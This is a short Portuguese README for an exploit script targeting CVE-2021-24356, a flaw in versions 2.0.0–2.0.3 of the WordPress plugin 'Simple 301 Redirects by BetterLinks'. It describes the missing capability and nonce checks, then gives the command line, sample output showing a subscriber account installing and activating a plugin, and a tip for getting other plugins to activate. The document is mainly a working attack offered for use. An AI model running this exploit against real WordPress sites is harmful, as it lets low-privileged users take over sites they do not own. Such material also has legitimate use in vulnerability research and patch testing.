CVE-2021-24356

Redirecionamentos 301 Simples por BetterLinks - 2.0.0 – 2.0.3 - Assinante + Instalação Arbitrária de Plugins

Descrição

A falta de verificações de capacidade e uma verificação nonce insuficiente na ação AJAX do plugin tornou possível que usuários autenticados instalassem plugins arbitrários em sites vulneráveis.

Como usar

$ python3 CVE-2021-24356.py --url http://wordpress.lan --username user --password useruser1 --slug betterlinks
Getting REST API Nonce!
Nonce Found: dd72f43027
Installing Plugin!
{"success":true,"data":"Plugin is installed successfully!"}
Activating Plugin!
{"success":true,"data":"BetterLinks is activated!"}

Nota: Alguns plugins podem não ativar se você não alterar a variável sluga para o caminho/arquivo.php que é o arquivo principal do plugin. Atualmente, funciona muito bem quando o slug é algo como betterlinks e o arquivo principal do plugin se chama betterlinks.php.